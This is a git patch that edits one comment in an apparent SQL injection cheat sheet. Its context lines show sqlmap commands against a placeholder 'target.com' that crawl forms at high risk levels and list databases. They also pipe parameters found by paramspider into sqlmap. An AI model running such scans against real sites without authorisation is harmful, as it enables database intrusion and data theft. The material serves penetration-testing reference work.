From a8a30403a941e1eeb83401be89f750265767509f Mon Sep 17 00:00:00 2001 From: Mehdi Date: Thu, 13 Jun 2024 13:02:50 +0330 Subject: [PATCH] Update SQL Injection.md --- SQL Injection.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SQL Injection.md b/SQL Injection.md index 99b476a..9fffcf2 100644 --- a/SQL Injection.md +++ b/SQL Injection.md @@ -2563,7 +2563,7 @@ sqlmap -u target.com/test?id=10 -p id --random-agent --dbs # sqlmap is test all forms in target and answered the wizard questios to default sqlmap -u target.com --forms --batch --crawl=10 --threads=10 --level=5 --risk=3 -# find all parameters on target and send to sqlmap +# find all parameters on target domain and subdomain and send to sqlmap python3 paramspider.py -d target.com -s TRUE -e woff,ttf,eot,svg | deduplicate --sort | sed '1,4d' | sqlmap # you can use sqlmap + burp --> burp extension sqlipy (integrated by sqlmap)